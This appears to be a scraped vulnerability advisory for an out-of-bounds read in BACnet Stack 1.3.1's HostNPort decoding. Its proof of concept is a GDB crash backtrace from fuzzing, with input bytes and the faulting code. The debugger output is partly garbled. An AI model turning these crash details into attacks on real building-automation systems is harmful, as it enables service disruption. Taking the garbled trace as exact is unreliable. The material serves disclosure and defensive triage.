BACnet Stack 1.3.1 OOB Read Vulnerability with GDB PoC

Vulnerability Overview Vulnerability Name: BACnet Stack 1.3.1 OOB read in via HostNPort decoding #1270 Vulnerability Description: In BACnet Stack version 1.3.1, the function contains an out-of-bounds read (OOB read) vulnerability when processing decoding. This vulnerability allows an attacker to trigger an out-of-bounds read by constructing specific BACnet application data, potentially leading to sensitive information disclosure or program crashes. Impact Scope Affected Version: BACnet Stack 1.3.1 Operating System: Ubuntu 24.04 Environment: The specific environment is not specified; however, the vulnerability exists within the BACnet Stack library and may affect all applications utilizing this library. Remediation Fix Status: The vulnerability has been reported, but no specific patch has been provided yet. Users are advised to monitor BACnet Stack's official updates and upgrade to the patched version promptly. Workarounds: Before a fix becomes available, it is recommended that users restrict access to BACnet services and avoid processing BACnet data from untrusted sources. POC Code ```plaintext (gdb) run - outputs test2/bac-ocr/crashes/id:000005,sig:11,src:007127,time:7200152,execs:90651355,op:havoc_rep:2 Starting program: /root/bacnet-stack/src/apps/fuzz_af1/fuzz_af1 - outputs test2/bac-ocr/crashes/id:000005,sig:11,src:007127,time:7200152,execs:90651355,op:havoc_rep:2 Thread debugging using libthread_db enabled Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". UCOV: Received Notification! Program received signal SIGSEGV, Segmentation fault. 0x0000555556cc92e0 in bacnet_tag_number_decode (apdu=0x555556cc92e0, apdu_size=4265279770, tag_number=0x7fff65008040) at /root/bacnet-stack/src/bacnet/bacode.c:459 459 if (12 == EXTENDED_TAG_NUMBER(apdu[0])) { (gdb) bt full #0 0x0000555556cc92e0 in bacnet_tag_number_decode (apdu=0x555556cc92e0, apdu_size=4265279770, tag_number=0x7fff65008040) at /root/bacnet-stack/src/bacnet/bacode.c:459 len = 0 tag_number = 0 '\000' application_tag = false context_tag = false opening_tag = false closing_tag = false len_value_type = 0 #1 0x0000555556cc92e0 in bacnet_tag_number_decode (apdu=0x555556cc92e0, apdu_size=4265279770, tag_number=0x7fff65008040) at /root/bacnet-stack/src/bacnet/bacode.c:501 len = 0 tag_number = 0 '\000' application_tag = false context_tag = false opening_tag = false closing_tag = false len_value_type = 0 #2 0x0000555556cc92e0 in bacnet_is_closing_tag_number (apdu=0x555556cc92e0, apdu_size=4265279770, tag_number=0 '\000', tag_length=0x7fff65008040) at /root/bacnet-stack/src/bacnet/bacode.c:915 match = false len = 2126217520 tag = (number = 0 '\000', application = false, context = false, opening = false, closing = false, len_value_type = 0) #3 0x0000555556cc92e0 in host_n_port_decode (apdu=0x555556cc92e0 _af1_fuzz_alt+39> "\x16\x13\x77", apdu_len=4208353057, error_code=0x0, address=0x7fff65000701) at /root/bacnet-stack/src/bacnet/hostport.c:211 apdu_len = 15073200 len = 15073200 octet_str=0x7fff65000701 char_string = 0x7fff65000701 tag = (number = 2 '\002', application = false, context = true, opening = false, closing = false, len_value_type = 15073200) #4 0x0000555556cc92e0 in bacapp_decode_data (apdu=0x555556cc92e7 _af1_fuzz_alt+39> "\x16\x13\x77", tag_data_type=34 '\042', len_value_type=4208353057, value=0x7fff65000608) at /root/bacnet-stack/src/bacnet/bacapp.c:335 len = 0 #5 0x0000555556cc92e0 in bacapp_decode_application_data (apdu=0x555556cc92e0 _af1_fuzz_alt+32> "\x36\x13\x77\x37\x10\x16\x13\x77", apdu_len_max=12, value=0x7fff65000608) at /root/bacnet-stack/src/bacnet/bacapp.c:404 len = 7 tag_len = 7 decode_len = 1em; --Type for more, q to quit, c to continue without paging-- tag_number = 34 '\042' len_value_type = 4208353057 #6 0x0000555556cc92e0 in cov_notify_decode_service_request (apdu=0x555556cc9000 _af1_fuzz_alt+B> "\x10\x20\x13\x65\x10\x17\x34\x10\x21\x00\x47\x04\x47", apdu_size=17, value=0x7fff65000608) at /root/bacnet-stack/src/bacnet/cov.c:295 len = 19 value_len = 1em; tag_len = 1 decoded_value = 164040324 decoded_type = OBJECT_GROUP decoded_instance = 3459904 property_identifier = PROP_ALL value = 0x7fff65000608 (gdb) frame 0 #0 0x0000555556cc92e0 in bacnet_tag_number_decode (apdu=0x555556cc92e0, apdu_size=4265279770, tag_number=0x7fff65008040) at /root/bacnet-stack/src/bacnet/bacode.c:459 459 if (12 == EXTENDED_TAG_NUMBER(apdu[0])) { (gdb) x/i pc 0x555556cc92e0 : movzbl (%rdi),%ecx (gdb) info args apdu = 0x555556cc92e0 apdu_size = 4265279770 tag_number = 0x7fff65008040 (gdb) info locals len = 0 (gdb) list 454 uint8_t apdu, uint32_t apdu_size, uint8_t tag_number) 455 { 456 int len = 0; / return value / 457 458 if (apdu_size >= 1) { 459 if (12 == EXTENDED_TAG_NUMBER(apdu[0])) { 460 if (apdu_size >= 2) { 461 / extended tag / 462 if (tag_number) { 463 tag_number = apdu[1]; (gdb) p apdu $1 = (uint8_t ) 0x555556cc92e0 (gdb) p/x apdu $2 = 0x555556cc92e0 (gdb) p apdu_size $3 = 4265279770 (gdb) p/12ax apdu $4 = 12 (gdb) p/x apdu_

Goal Reached Thanks to every supporter — we hit 100%!

BACnet Stack 1.3.1 OOB Read Vulnerability with GDB PoC

More from this source